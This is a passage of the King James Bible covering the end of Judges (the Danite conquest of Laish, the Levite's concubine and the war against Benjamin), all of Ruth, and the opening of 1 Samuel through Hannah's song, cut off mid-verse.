+18:10 When ye go, ye shall come unto a people secure, and to a large +land: for God hath given it into your hands; a place where there is no +want of any thing that is in the earth. + +18:11 And there went from thence of the family of the Danites, out of +Zorah and out of Eshtaol, six hundred men appointed with weapons of +war. + +18:12 And they went up, and pitched in Kirjathjearim, in Judah: +wherefore they called that place Mahanehdan unto this day: behold, it +is behind Kirjathjearim. + +18:13 And they passed thence unto mount Ephraim, and came unto the +house of Micah. + +18:14 Then answered the five men that went to spy out the country of +Laish, and said unto their brethren, Do ye know that there is in these +houses an ephod, and teraphim, and a graven image, and a molten image? +now therefore consider what ye have to do. + +18:15 And they turned thitherward, and came to the house of the young +man the Levite, even unto the house of Micah, and saluted him. + +18:16 And the six hundred men appointed with their weapons of war, +which were of the children of Dan, stood by the entering of the gate. + +18:17 And the five men that went to spy out the land went up, and came +in thither, and took the graven image, and the ephod, and the +teraphim, and the molten image: and the priest stood in the entering +of the gate with the six hundred men that were appointed with weapons +of war. + +18:18 And these went into Micah's house, and fetched the carved image, +the ephod, and the teraphim, and the molten image. Then said the +priest unto them, What do ye? 18:19 And they said unto him, Hold thy +peace, lay thine hand upon thy mouth, and go with us, and be to us a +father and a priest: is it better for thee to be a priest unto the +house of one man, or that thou be a priest unto a tribe and a family +in Israel? 18:20 And the priest's heart was glad, and he took the +ephod, and the teraphim, and the graven image, and went in the midst +of the people. + +18:21 So they turned and departed, and put the little ones and the +cattle and the carriage before them. + +18:22 And when they were a good way from the house of Micah, the men +that were in the houses near to Micah's house were gathered together, +and overtook the children of Dan. + +18:23 And they cried unto the children of Dan. And they turned their +faces, and said unto Micah, What aileth thee, that thou comest with +such a company? 18:24 And he said, Ye have taken away my gods which I +made, and the priest, and ye are gone away: and what have I more? and +what is this that ye say unto me, What aileth thee? 18:25 And the +children of Dan said unto him, Let not thy voice be heard among us, +lest angry fellows run upon thee, and thou lose thy life, with the +lives of thy household. + +18:26 And the children of Dan went their way: and when Micah saw that +they were too strong for him, he turned and went back unto his house. + +18:27 And they took the things which Micah had made, and the priest +which he had, and came unto Laish, unto a people that were at quiet +and secure: and they smote them with the edge of the sword, and burnt +the city with fire. + +18:28 And there was no deliverer, because it was far from Zidon, and +they had no business with any man; and it was in the valley that lieth +by Bethrehob. And they built a city, and dwelt therein. + +18:29 And they called the name of the city Dan, after the name of Dan +their father, who was born unto Israel: howbeit the name of the city +was Laish at the first. + +18:30 And the children of Dan set up the graven image: and Jonathan, +the son of Gershom, the son of Manasseh, he and his sons were priests +to the tribe of Dan until the day of the captivity of the land. + +18:31 And they set them up Micah's graven image, which he made, all +the time that the house of God was in Shiloh. + +19:1 And it came to pass in those days, when there was no king in +Israel, that there was a certain Levite sojourning on the side of +mount Ephraim, who took to him a concubine out of Bethlehemjudah. + +19:2 And his concubine played the whore against him, and went away +from him unto her father's house to Bethlehemjudah, and was there four +whole months. + +19:3 And her husband arose, and went after her, to speak friendly unto +her, and to bring her again, having his servant with him, and a couple +of asses: and she brought him into her father's house: and when the +father of the damsel saw him, he rejoiced to meet him. + +19:4 And his father in law, the damsel's father, retained him; and he +abode with him three days: so they did eat and drink, and lodged +there. + +19:5 And it came to pass on the fourth day, when they arose early in +the morning, that he rose up to depart: and the damsel's father said +unto his son in law, Comfort thine heart with a morsel of bread, and +afterward go your way. + +19:6 And they sat down, and did eat and drink both of them together: +for the damsel's father had said unto the man, Be content, I pray +thee, and tarry all night, and let thine heart be merry. + +19:7 And when the man rose up to depart, his father in law urged him: +therefore he lodged there again. + +19:8 And he arose early in the morning on the fifth day to depart; and +the damsel's father said, Comfort thine heart, I pray thee. And they +tarried until afternoon, and they did eat both of them. + +19:9 And when the man rose up to depart, he, and his concubine, and +his servant, his father in law, the damsel's father, said unto him, +Behold, now the day draweth toward evening, I pray you tarry all +night: behold, the day groweth to an end, lodge here, that thine heart +may be merry; and to morrow get you early on your way, that thou +mayest go home. + +19:10 But the man would not tarry that night, but he rose up and +departed, and came over against Jebus, which is Jerusalem; and there +were with him two asses saddled, his concubine also was with him. + +19:11 And when they were by Jebus, the day was far spent; and the +servant said unto his master, Come, I pray thee, and let us turn in +into this city of the Jebusites, and lodge in it. + +19:12 And his master said unto him, We will not turn aside hither into +the city of a stranger, that is not of the children of Israel; we will +pass over to Gibeah. + +19:13 And he said unto his servant, Come, and let us draw near to one +of these places to lodge all night, in Gibeah, or in Ramah. + +19:14 And they passed on and went their way; and the sun went down +upon them when they were by Gibeah, which belongeth to Benjamin. + +19:15 And they turned aside thither, to go in and to lodge in Gibeah: +and when he went in, he sat him down in a street of the city: for +there was no man that took them into his house to lodging. + +19:16 And, behold, there came an old man from his work out of the +field at even, which was also of mount Ephraim; and he sojourned in +Gibeah: but the men of the place were Benjamites. + +19:17 And when he had lifted up his eyes, he saw a wayfaring man in +the street of the city: and the old man said, Whither goest thou? and +whence comest thou? 19:18 And he said unto him, We are passing from +Bethlehemjudah toward the side of mount Ephraim; from thence am I: and +I went to Bethlehemjudah, but I am now going to the house of the LORD; +and there is no man that receiveth me to house. + +19:19 Yet there is both straw and provender for our asses; and there +is bread and wine also for me, and for thy handmaid, and for the young +man which is with thy servants: there is no want of any thing. + +19:20 And the old man said, Peace be with thee; howsoever let all thy +wants lie upon me; only lodge not in the street. + +19:21 So he brought him into his house, and gave provender unto the +asses: and they washed their feet, and did eat and drink. + +19:22 Now as they were making their hearts merry, behold, the men of +the city, certain sons of Belial, beset the house round about, and +beat at the door, and spake to the master of the house, the old man, +saying, Bring forth the man that came into thine house, that we may +know him. + +19:23 And the man, the master of the house, went out unto them, and +said unto them, Nay, my brethren, nay, I pray you, do not so wickedly; +seeing that this man is come into mine house, do not this folly. + +19:24 Behold, here is my daughter a maiden, and his concubine; them I +will bring out now, and humble ye them, and do with them what seemeth +good unto you: but unto this man do not so vile a thing. + +19:25 But the men would not hearken to him: so the man took his +concubine, and brought her forth unto them; and they knew her, and +abused her all the night until the morning: and when the day began to +spring, they let her go. + +19:26 Then came the woman in the dawning of the day, and fell down at +the door of the man's house where her lord was, till it was light. + +19:27 And her lord rose up in the morning, and opened the doors of the +house, and went out to go his way: and, behold, the woman his +concubine was fallen down at the door of the house, and her hands were +upon the threshold. + +19:28 And he said unto her, Up, and let us be going. But none +answered. + +Then the man took her up upon an ass, and the man rose up, and gat him +unto his place. + +19:29 And when he was come into his house, he took a knife, and laid +hold on his concubine, and divided her, together with her bones, into +twelve pieces, and sent her into all the coasts of Israel. + +19:30 And it was so, that all that saw it said, There was no such deed +done nor seen from the day that the children of Israel came up out of +the land of Egypt unto this day: consider of it, take advice, and +speak your minds. + +20:1 Then all the children of Israel went out, and the congregation +was gathered together as one man, from Dan even to Beersheba, with the +land of Gilead, unto the LORD in Mizpeh. + +20:2 And the chief of all the people, even of all the tribes of +Israel, presented themselves in the assembly of the people of God, +four hundred thousand footmen that drew sword. + +20:3 (Now the children of Benjamin heard that the children of Israel +were gone up to Mizpeh.) Then said the children of Israel, Tell us, +how was this wickedness? 20:4 And the Levite, the husband of the +woman that was slain, answered and said, I came into Gibeah that +belongeth to Benjamin, I and my concubine, to lodge. + +20:5 And the men of Gibeah rose against me, and beset the house round +about upon me by night, and thought to have slain me: and my concubine +have they forced, that she is dead. + +20:6 And I took my concubine, and cut her in pieces, and sent her +throughout all the country of the inheritance of Israel: for they have +committed lewdness and folly in Israel. + +20:7 Behold, ye are all children of Israel; give here your advice and +counsel. + +20:8 And all the people arose as one man, saying, We will not any of +us go to his tent, neither will we any of us turn into his house. + +20:9 But now this shall be the thing which we will do to Gibeah; we +will go up by lot against it; 20:10 And we will take ten men of an +hundred throughout all the tribes of Israel, and an hundred of a +thousand, and a thousand out of ten thousand, to fetch victual for the +people, that they may do, when they come to Gibeah of Benjamin, +according to all the folly that they have wrought in Israel. + +20:11 So all the men of Israel were gathered against the city, knit +together as one man. + +20:12 And the tribes of Israel sent men through all the tribe of +Benjamin, saying, What wickedness is this that is done among you? +20:13 Now therefore deliver us the men, the children of Belial, which +are in Gibeah, that we may put them to death, and put away evil from +Israel. But the children of Benjamin would not hearken to the voice of +their brethren the children of Israel. + +20:14 But the children of Benjamin gathered themselves together out of +the cities unto Gibeah, to go out to battle against the children of +Israel. + +20:15 And the children of Benjamin were numbered at that time out of +the cities twenty and six thousand men that drew sword, beside the +inhabitants of Gibeah, which were numbered seven hundred chosen men. + +20:16 Among all this people there were seven hundred chosen men +lefthanded; every one could sling stones at an hair breadth, and not +miss. + +20:17 And the men of Israel, beside Benjamin, were numbered four +hundred thousand men that drew sword: all these were men of war. + +20:18 And the children of Israel arose, and went up to the house of +God, and asked counsel of God, and said, Which of us shall go up first +to the battle against the children of Benjamin? And the LORD said, +Judah shall go up first. + +20:19 And the children of Israel rose up in the morning, and encamped +against Gibeah. + +20:20 And the men of Israel went out to battle against Benjamin; and +the men of Israel put themselves in array to fight against them at +Gibeah. + +20:21 And the children of Benjamin came forth out of Gibeah, and +destroyed down to the ground of the Israelites that day twenty and two +thousand men. + +20:22 And the people the men of Israel encouraged themselves, and set +their battle again in array in the place where they put themselves in +array the first day. + +20:23 (And the children of Israel went up and wept before the LORD +until even, and asked counsel of the LORD, saying, Shall I go up again +to battle against the children of Benjamin my brother? And the LORD +said, Go up against him.) 20:24 And the children of Israel came near +against the children of Benjamin the second day. + +20:25 And Benjamin went forth against them out of Gibeah the second +day, and destroyed down to the ground of the children of Israel again +eighteen thousand men; all these drew the sword. + +20:26 Then all the children of Israel, and all the people, went up, +and came unto the house of God, and wept, and sat there before the +LORD, and fasted that day until even, and offered burnt offerings and +peace offerings before the LORD. + +20:27 And the children of Israel enquired of the LORD, (for the ark of +the covenant of God was there in those days, 20:28 And Phinehas, the +son of Eleazar, the son of Aaron, stood before it in those days,) +saying, Shall I yet again go out to battle against the children of +Benjamin my brother, or shall I cease? And the LORD said, Go up; for +to morrow I will deliver them into thine hand. + +20:29 And Israel set liers in wait round about Gibeah. + +20:30 And the children of Israel went up against the children of +Benjamin on the third day, and put themselves in array against Gibeah, +as at other times. + +20:31 And the children of Benjamin went out against the people, and +were drawn away from the city; and they began to smite of the people, +and kill, as at other times, in the highways, of which one goeth up to +the house of God, and the other to Gibeah in the field, about thirty +men of Israel. + +20:32 And the children of Benjamin said, They are smitten down before +us, as at the first. But the children of Israel said, Let us flee, and +draw them from the city unto the highways. + +20:33 And all the men of Israel rose up out of their place, and put +themselves in array at Baaltamar: and the liers in wait of Israel came +forth out of their places, even out of the meadows of Gibeah. + +20:34 And there came against Gibeah ten thousand chosen men out of all +Israel, and the battle was sore: but they knew not that evil was near +them. + +20:35 And the LORD smote Benjamin before Israel: and the children of +Israel destroyed of the Benjamites that day twenty and five thousand +and an hundred men: all these drew the sword. + +20:36 So the children of Benjamin saw that they were smitten: for the +men of Israel gave place to the Benjamites, because they trusted unto +the liers in wait which they had set beside Gibeah. + +20:37 And the liers in wait hasted, and rushed upon Gibeah; and the +liers in wait drew themselves along, and smote all the city with the +edge of the sword. + +20:38 Now there was an appointed sign between the men of Israel and +the liers in wait, that they should make a great flame with smoke rise +up out of the city. + +20:39 And when the men of Israel retired in the battle, Benjamin began +to smite and kill of the men of Israel about thirty persons: for they +said, Surely they are smitten down before us, as in the first battle. + +20:40 But when the flame began to arise up out of the city with a +pillar of smoke, the Benjamites looked behind them, and, behold, the +flame of the city ascended up to heaven. + +20:41 And when the men of Israel turned again, the men of Benjamin +were amazed: for they saw that evil was come upon them. + +20:42 Therefore they turned their backs before the men of Israel unto +the way of the wilderness; but the battle overtook them; and them +which came out of the cities they destroyed in the midst of them. + +20:43 Thus they inclosed the Benjamites round about, and chased them, +and trode them down with ease over against Gibeah toward the +sunrising. + +20:44 And there fell of Benjamin eighteen thousand men; all these were +men of valour. + +20:45 And they turned and fled toward the wilderness unto the rock of +Rimmon: and they gleaned of them in the highways five thousand men; +and pursued hard after them unto Gidom, and slew two thousand men of +them. + +20:46 So that all which fell that day of Benjamin were twenty and five +thousand men that drew the sword; all these were men of valour. + +20:47 But six hundred men turned and fled to the wilderness unto the +rock Rimmon, and abode in the rock Rimmon four months. + +20:48 And the men of Israel turned again upon the children of +Benjamin, and smote them with the edge of the sword, as well the men +of every city, as the beast, and all that came to hand: also they set +on fire all the cities that they came to. + +21:1 Now the men of Israel had sworn in Mizpeh, saying, There shall +not any of us give his daughter unto Benjamin to wife. + +21:2 And the people came to the house of God, and abode there till +even before God, and lifted up their voices, and wept sore; 21:3 And +said, O LORD God of Israel, why is this come to pass in Israel, that +there should be to day one tribe lacking in Israel? 21:4 And it came +to pass on the morrow, that the people rose early, and built there an +altar, and offered burnt offerings and peace offerings. + +21:5 And the children of Israel said, Who is there among all the +tribes of Israel that came not up with the congregation unto the LORD? +For they had made a great oath concerning him that came not up to the +LORD to Mizpeh, saying, He shall surely be put to death. + +21:6 And the children of Israel repented them for Benjamin their +brother, and said, There is one tribe cut off from Israel this day. + +21:7 How shall we do for wives for them that remain, seeing we have +sworn by the LORD that we will not give them of our daughters to +wives? 21:8 And they said, What one is there of the tribes of Israel +that came not up to Mizpeh to the LORD? And, behold, there came none +to the camp from Jabeshgilead to the assembly. + +21:9 For the people were numbered, and, behold, there were none of the +inhabitants of Jabeshgilead there. + +21:10 And the congregation sent thither twelve thousand men of the +valiantest, and commanded them, saying, Go and smite the inhabitants +of Jabeshgilead with the edge of the sword, with the women and the +children. + +21:11 And this is the thing that ye shall do, Ye shall utterly destroy +every male, and every woman that hath lain by man. + +21:12 And they found among the inhabitants of Jabeshgilead four +hundred young virgins, that had known no man by lying with any male: +and they brought them unto the camp to Shiloh, which is in the land of +Canaan. + +21:13 And the whole congregation sent some to speak to the children of +Benjamin that were in the rock Rimmon, and to call peaceably unto +them. + +21:14 And Benjamin came again at that time; and they gave them wives +which they had saved alive of the women of Jabeshgilead: and yet so +they sufficed them not. + +21:15 And the people repented them for Benjamin, because that the LORD +had made a breach in the tribes of Israel. + +21:16 Then the elders of the congregation said, How shall we do for +wives for them that remain, seeing the women are destroyed out of +Benjamin? 21:17 And they said, There must be an inheritance for them +that be escaped of Benjamin, that a tribe be not destroyed out of +Israel. + +21:18 Howbeit we may not give them wives of our daughters: for the +children of Israel have sworn, saying, Cursed be he that giveth a wife +to Benjamin. + +21:19 Then they said, Behold, there is a feast of the LORD in Shiloh +yearly in a place which is on the north side of Bethel, on the east +side of the highway that goeth up from Bethel to Shechem, and on the +south of Lebonah. + +21:20 Therefore they commanded the children of Benjamin, saying, Go +and lie in wait in the vineyards; 21:21 And see, and, behold, if the +daughters of Shiloh come out to dance in dances, then come ye out of +the vineyards, and catch you every man his wife of the daughters of +Shiloh, and go to the land of Benjamin. + +21:22 And it shall be, when their fathers or their brethren come unto +us to complain, that we will say unto them, Be favourable unto them +for our sakes: because we reserved not to each man his wife in the +war: for ye did not give unto them at this time, that ye should be +guilty. + +21:23 And the children of Benjamin did so, and took them wives, +according to their number, of them that danced, whom they caught: and +they went and returned unto their inheritance, and repaired the +cities, and dwelt in them. + +21:24 And the children of Israel departed thence at that time, every +man to his tribe and to his family, and they went out from thence +every man to his inheritance. + +21:25 In those days there was no king in Israel: every man did that +which was right in his own eyes. + + + +The Book of Ruth + + +1:1 Now it came to pass in the days when the judges ruled, that there +was a famine in the land. And a certain man of Bethlehemjudah went to +sojourn in the country of Moab, he, and his wife, and his two sons. + +1:2 And the name of the man was Elimelech, and the name of his wife +Naomi, and the name of his two sons Mahlon and Chilion, Ephrathites of +Bethlehemjudah. And they came into the country of Moab, and continued +there. + +1:3 And Elimelech Naomi's husband died; and she was left, and her two +sons. + +1:4 And they took them wives of the women of Moab; the name of the one +was Orpah, and the name of the other Ruth: and they dwelled there +about ten years. + +1:5 And Mahlon and Chilion died also both of them; and the woman was +left of her two sons and her husband. + +1:6 Then she arose with her daughters in law, that she might return +from the country of Moab: for she had heard in the country of Moab how +that the LORD had visited his people in giving them bread. + +1:7 Wherefore she went forth out of the place where she was, and her +two daughters in law with her; and they went on the way to return unto +the land of Judah. + +1:8 And Naomi said unto her two daughters in law, Go, return each to +her mother's house: the LORD deal kindly with you, as ye have dealt +with the dead, and with me. + +1:9 The LORD grant you that ye may find rest, each of you in the house +of her husband. Then she kissed them; and they lifted up their voice, +and wept. + +1:10 And they said unto her, Surely we will return with thee unto thy +people. + +1:11 And Naomi said, Turn again, my daughters: why will ye go with me? +are there yet any more sons in my womb, that they may be your +husbands? 1:12 Turn again, my daughters, go your way; for I am too +old to have an husband. If I should say, I have hope, if I should have +an husband also to night, and should also bear sons; 1:13 Would ye +tarry for them till they were grown? would ye stay for them from +having husbands? nay, my daughters; for it grieveth me much for your +sakes that the hand of the LORD is gone out against me. + +1:14 And they lifted up their voice, and wept again: and Orpah kissed +her mother in law; but Ruth clave unto her. + +1:15 And she said, Behold, thy sister in law is gone back unto her +people, and unto her gods: return thou after thy sister in law. + +1:16 And Ruth said, Intreat me not to leave thee, or to return from +following after thee: for whither thou goest, I will go; and where +thou lodgest, I will lodge: thy people shall be my people, and thy God +my God: 1:17 Where thou diest, will I die, and there will I be buried: +the LORD do so to me, and more also, if ought but death part thee and +me. + +1:18 When she saw that she was stedfastly minded to go with her, then +she left speaking unto her. + +1:19 So they two went until they came to Bethlehem. And it came to +pass, when they were come to Bethlehem, that all the city was moved +about them, and they said, Is this Naomi? 1:20 And she said unto +them, Call me not Naomi, call me Mara: for the Almighty hath dealt +very bitterly with me. + +1:21 I went out full and the LORD hath brought me home again empty: +why then call ye me Naomi, seeing the LORD hath testified against me, +and the Almighty hath afflicted me? 1:22 So Naomi returned, and Ruth +the Moabitess, her daughter in law, with her, which returned out of +the country of Moab: and they came to Bethlehem in the beginning of +barley harvest. + +2:1 And Naomi had a kinsman of her husband's, a mighty man of wealth, +of the family of Elimelech; and his name was Boaz. + +2:2 And Ruth the Moabitess said unto Naomi, Let me now go to the +field, and glean ears of corn after him in whose sight I shall find +grace. + +And she said unto her, Go, my daughter. + +2:3 And she went, and came, and gleaned in the field after the +reapers: and her hap was to light on a part of the field belonging +unto Boaz, who was of the kindred of Elimelech. + +2:4 And, behold, Boaz came from Bethlehem, and said unto the reapers, +The LORD be with you. And they answered him, The LORD bless thee. + +2:5 Then said Boaz unto his servant that was set over the reapers, +Whose damsel is this? 2:6 And the servant that was set over the +reapers answered and said, It is the Moabitish damsel that came back +with Naomi out of the country of Moab: 2:7 And she said, I pray you, +let me glean and gather after the reapers among the sheaves: so she +came, and hath continued even from the morning until now, that she +tarried a little in the house. + +2:8 Then said Boaz unto Ruth, Hearest thou not, my daughter? Go not to +glean in another field, neither go from hence, but abide here fast by +my maidens: 2:9 Let thine eyes be on the field that they do reap, and +go thou after them: have I not charged the young men that they shall +not touch thee? and when thou art athirst, go unto the vessels, and +drink of that which the young men have drawn. + +2:10 Then she fell on her face, and bowed herself to the ground, and +said unto him, Why have I found grace in thine eyes, that thou +shouldest take knowledge of me, seeing I am a stranger? 2:11 And Boaz +answered and said unto her, It hath fully been shewed me, all that +thou hast done unto thy mother in law since the death of thine +husband: and how thou hast left thy father and thy mother, and the +land of thy nativity, and art come unto a people which thou knewest +not heretofore. + +2:12 The LORD recompense thy work, and a full reward be given thee of +the LORD God of Israel, under whose wings thou art come to trust. + +2:13 Then she said, Let me find favour in thy sight, my lord; for that +thou hast comforted me, and for that thou hast spoken friendly unto +thine handmaid, though I be not like unto one of thine handmaidens. + +2:14 And Boaz said unto her, At mealtime come thou hither, and eat of +the bread, and dip thy morsel in the vinegar. And she sat beside the +reapers: and he reached her parched corn, and she did eat, and was +sufficed, and left. + +2:15 And when she was risen up to glean, Boaz commanded his young men, +saying, Let her glean even among the sheaves, and reproach her not: +2:16 And let fall also some of the handfuls of purpose for her, and +leave them, that she may glean them, and rebuke her not. + +2:17 So she gleaned in the field until even, and beat out that she had +gleaned: and it was about an ephah of barley. + +2:18 And she took it up, and went into the city: and her mother in law +saw what she had gleaned: and she brought forth, and gave to her that +she had reserved after she was sufficed. + +2:19 And her mother in law said unto her, Where hast thou gleaned to +day? and where wroughtest thou? blessed be he that did take knowledge +of thee. And she shewed her mother in law with whom she had wrought, +and said, The man's name with whom I wrought to day is Boaz. + +2:20 And Naomi said unto her daughter in law, Blessed be he of the +LORD, who hath not left off his kindness to the living and to the +dead. And Naomi said unto her, The man is near of kin unto us, one of +our next kinsmen. + +2:21 And Ruth the Moabitess said, He said unto me also, Thou shalt +keep fast by my young men, until they have ended all my harvest. + +2:22 And Naomi said unto Ruth her daughter in law, It is good, my +daughter, that thou go out with his maidens, that they meet thee not +in any other field. + +2:23 So she kept fast by the maidens of Boaz to glean unto the end of +barley harvest and of wheat harvest; and dwelt with her mother in law. + +3:1 Then Naomi her mother in law said unto her, My daughter, shall I +not seek rest for thee, that it may be well with thee? 3:2 And now is +not Boaz of our kindred, with whose maidens thou wast? Behold, he +winnoweth barley to night in the threshingfloor. + +3:3 Wash thyself therefore, and anoint thee, and put thy raiment upon +thee, and get thee down to the floor: but make not thyself known unto +the man, until he shall have done eating and drinking. + +3:4 And it shall be, when he lieth down, that thou shalt mark the +place where he shall lie, and thou shalt go in, and uncover his feet, +and lay thee down; and he will tell thee what thou shalt do. + +3:5 And she said unto her, All that thou sayest unto me I will do. + +3:6 And she went down unto the floor, and did according to all that +her mother in law bade her. + +3:7 And when Boaz had eaten and drunk, and his heart was merry, he +went to lie down at the end of the heap of corn: and she came softly, +and uncovered his feet, and laid her down. + +3:8 And it came to pass at midnight, that the man was afraid, and +turned himself: and, behold, a woman lay at his feet. + +3:9 And he said, Who art thou? And she answered, I am Ruth thine +handmaid: spread therefore thy skirt over thine handmaid; for thou art +a near kinsman. + +3:10 And he said, Blessed be thou of the LORD, my daughter: for thou +hast shewed more kindness in the latter end than at the beginning, +inasmuch as thou followedst not young men, whether poor or rich. + +3:11 And now, my daughter, fear not; I will do to thee all that thou +requirest: for all the city of my people doth know that thou art a +virtuous woman. + +3:12 And now it is true that I am thy near kinsman: howbeit there is a +kinsman nearer than I. + +3:13 Tarry this night, and it shall be in the morning, that if he will +perform unto thee the part of a kinsman, well; let him do the +kinsman's part: but if he will not do the part of a kinsman to thee, +then will I do the part of a kinsman to thee, as the LORD liveth: lie +down until the morning. + +3:14 And she lay at his feet until the morning: and she rose up before +one could know another. And he said, Let it not be known that a woman +came into the floor. + +3:15 Also he said, Bring the vail that thou hast upon thee, and hold +it. + +And when she held it, he measured six measures of barley, and laid it +on her: and she went into the city. + +3:16 And when she came to her mother in law, she said, Who art thou, +my daughter? And she told her all that the man had done to her. + +3:17 And she said, These six measures of barley gave he me; for he +said to me, Go not empty unto thy mother in law. + +3:18 Then said she, Sit still, my daughter, until thou know how the +matter will fall: for the man will not be in rest, until he have +finished the thing this day. + +4:1 Then went Boaz up to the gate, and sat him down there: and, +behold, the kinsman of whom Boaz spake came by; unto whom he said, Ho, +such a one! turn aside, sit down here. And he turned aside, and sat +down. + +4:2 And he took ten men of the elders of the city, and said, Sit ye +down here. And they sat down. + +4:3 And he said unto the kinsman, Naomi, that is come again out of the +country of Moab, selleth a parcel of land, which was our brother +Elimelech's: 4:4 And I thought to advertise thee, saying, Buy it +before the inhabitants, and before the elders of my people. If thou +wilt redeem it, redeem it: but if thou wilt not redeem it, then tell +me, that I may know: for there is none to redeem it beside thee; and I +am after thee. And he said, I will redeem it. + +4:5 Then said Boaz, What day thou buyest the field of the hand of +Naomi, thou must buy it also of Ruth the Moabitess, the wife of the +dead, to raise up the name of the dead upon his inheritance. + +4:6 And the kinsman said, I cannot redeem it for myself, lest I mar +mine own inheritance: redeem thou my right to thyself; for I cannot +redeem it. + +4:7 Now this was the manner in former time in Israel concerning +redeeming and concerning changing, for to confirm all things; a man +plucked off his shoe, and gave it to his neighbour: and this was a +testimony in Israel. + +4:8 Therefore the kinsman said unto Boaz, Buy it for thee. So he drew +off his shoe. + +4:9 And Boaz said unto the elders, and unto all the people, Ye are +witnesses this day, that I have bought all that was Elimelech's, and +all that was Chilion's and Mahlon's, of the hand of Naomi. + +4:10 Moreover Ruth the Moabitess, the wife of Mahlon, have I purchased +to be my wife, to raise up the name of the dead upon his inheritance, +that the name of the dead be not cut off from among his brethren, and +from the gate of his place: ye are witnesses this day. + +4:11 And all the people that were in the gate, and the elders, said, +We are witnesses. The LORD make the woman that is come into thine +house like Rachel and like Leah, which two did build the house of +Israel: and do thou worthily in Ephratah, and be famous in Bethlehem: +4:12 And let thy house be like the house of Pharez, whom Tamar bare +unto Judah, of the seed which the LORD shall give thee of this young +woman. + +4:13 So Boaz took Ruth, and she was his wife: and when he went in unto +her, the LORD gave her conception, and she bare a son. + +4:14 And the women said unto Naomi, Blessed be the LORD, which hath +not left thee this day without a kinsman, that his name may be famous +in Israel. + +4:15 And he shall be unto thee a restorer of thy life, and a nourisher +of thine old age: for thy daughter in law, which loveth thee, which is +better to thee than seven sons, hath born him. + +4:16 And Naomi took the child, and laid it in her bosom, and became +nurse unto it. + +4:17 And the women her neighbours gave it a name, saying, There is a +son born to Naomi; and they called his name Obed: he is the father of +Jesse, the father of David. + +4:18 Now these are the generations of Pharez: Pharez begat Hezron, +4:19 And Hezron begat Ram, and Ram begat Amminadab, 4:20 And Amminadab +begat Nahshon, and Nahshon begat Salmon, 4:21 And Salmon begat Boaz, +and Boaz begat Obed, 4:22 And Obed begat Jesse, and Jesse begat David. + + + + +The First Book of Samuel + +Otherwise Called: + +The First Book of the Kings + + +1:1 Now there was a certain man of Ramathaimzophim, of mount Ephraim, +and his name was Elkanah, the son of Jeroham, the son of Elihu, the +son of Tohu, the son of Zuph, an Ephrathite: 1:2 And he had two wives; +the name of the one was Hannah, and the name of the other Peninnah: +and Peninnah had children, but Hannah had no children. + +1:3 And this man went up out of his city yearly to worship and to +sacrifice unto the LORD of hosts in Shiloh. And the two sons of Eli, +Hophni and Phinehas, the priests of the LORD, were there. + +1:4 And when the time was that Elkanah offered, he gave to Peninnah +his wife, and to all her sons and her daughters, portions: 1:5 But +unto Hannah he gave a worthy portion; for he loved Hannah: but the +LORD had shut up her womb. + +1:6 And her adversary also provoked her sore, for to make her fret, +because the LORD had shut up her womb. + +1:7 And as he did so year by year, when she went up to the house of +the LORD, so she provoked her; therefore she wept, and did not eat. + +1:8 Then said Elkanah her husband to her, Hannah, why weepest thou? +and why eatest thou not? and why is thy heart grieved? am not I better +to thee than ten sons? 1:9 So Hannah rose up after they had eaten in +Shiloh, and after they had drunk. Now Eli the priest sat upon a seat +by a post of the temple of the LORD. + +1:10 And she was in bitterness of soul, and prayed unto the LORD, and +wept sore. + +1:11 And she vowed a vow, and said, O LORD of hosts, if thou wilt +indeed look on the affliction of thine handmaid, and remember me, and +not forget thine handmaid, but wilt give unto thine handmaid a man +child, then I will give him unto the LORD all the days of his life, +and there shall no razor come upon his head. + +1:12 And it came to pass, as she continued praying before the LORD, +that Eli marked her mouth. + +1:13 Now Hannah, she spake in her heart; only her lips moved, but her +voice was not heard: therefore Eli thought she had been drunken. + +1:14 And Eli said unto her, How long wilt thou be drunken? put away +thy wine from thee. + +1:15 And Hannah answered and said, No, my lord, I am a woman of a +sorrowful spirit: I have drunk neither wine nor strong drink, but have +poured out my soul before the LORD. + +1:16 Count not thine handmaid for a daughter of Belial: for out of the +abundance of my complaint and grief have I spoken hitherto. + +1:17 Then Eli answered and said, Go in peace: and the God of Israel +grant thee thy petition that thou hast asked of him. + +1:18 And she said, Let thine handmaid find grace in thy sight. So the +woman went her way, and did eat, and her countenance was no more sad. + +1:19 And they rose up in the morning early, and worshipped before the +LORD, and returned, and came to their house to Ramah: and Elkanah knew +Hannah his wife; and the LORD remembered her. + +1:20 Wherefore it came to pass, when the time was come about after +Hannah had conceived, that she bare a son, and called his name Samuel, +saying, Because I have asked him of the LORD. + +1:21 And the man Elkanah, and all his house, went up to offer unto the +LORD the yearly sacrifice, and his vow. + +1:22 But Hannah went not up; for she said unto her husband, I will not +go up until the child be weaned, and then I will bring him, that he +may appear before the LORD, and there abide for ever. + +1:23 And Elkanah her husband said unto her, Do what seemeth thee good; +tarry until thou have weaned him; only the LORD establish his word. So +the woman abode, and gave her son suck until she weaned him. + +1:24 And when she had weaned him, she took him up with her, with three +bullocks, and one ephah of flour, and a bottle of wine, and brought +him unto the house of the LORD in Shiloh: and the child was young. + +1:25 And they slew a bullock, and brought the child to Eli. + +1:26 And she said, Oh my lord, as thy soul liveth, my lord, I am the +woman that stood by thee here, praying unto the LORD. + +1:27 For this child I prayed; and the LORD hath given me my petition +which I asked of him: 1:28 Therefore also I have lent him to the LORD; +as long as he liveth he shall be lent to the LORD. And he worshipped +the LORD there. + +2:1 And Hannah prayed, and said, My heart rejoiceth in the LORD, mine +horn is exalted in the LORD: my mouth is enlarged over mine enemies; +because I rejoice in thy salvation. + +2:2 There is none holy as the LORD: for there is none beside thee: +neither is there any rock like our God. + +2:3 Talk no more so exceeding proudly; let not arrogancy come out of +your mouth: for the LORD is a God of knowledge, and by him actions are +weighed. + +2:4 The bows of the mighty men are broken, and they that stumbled are +girded with strength. + +2:5 They that were full have hired out themselves for bread; and they +that were hungry ceased: so that the barren hath born seven; and she +that hath many children is waxed feeble. + +2:6 The LORD killeth, and maketh alive: he bringeth down to the grave, +and bringeth up. + +2:7 The LORD maketh poor, and maketh rich: he bringeth low, and +lifteth up. + +2:8 He raiseth up the poor out of the dust, and lifteth up the beggar +from the dunghill, to set them among princes, and to make them inherit +the throne of glory: for the pillars of the earth are the LORD's, and +he hath set the world upon them. + +2:9 He will keep the feet of his saints, and the wicked shall be +silent in darkness; for by strength shall no man prevail. + +2:10 The adversaries of the LORD shall be broken to pieces; out of +heaven shall he thunder upon them: the LORD shall judge the ends of +the earth; and he shall give strength unto his king, and exalt the +horn of his anointed. + +2:11 And Elkanah went to Ramah to his house. And the child did +minister 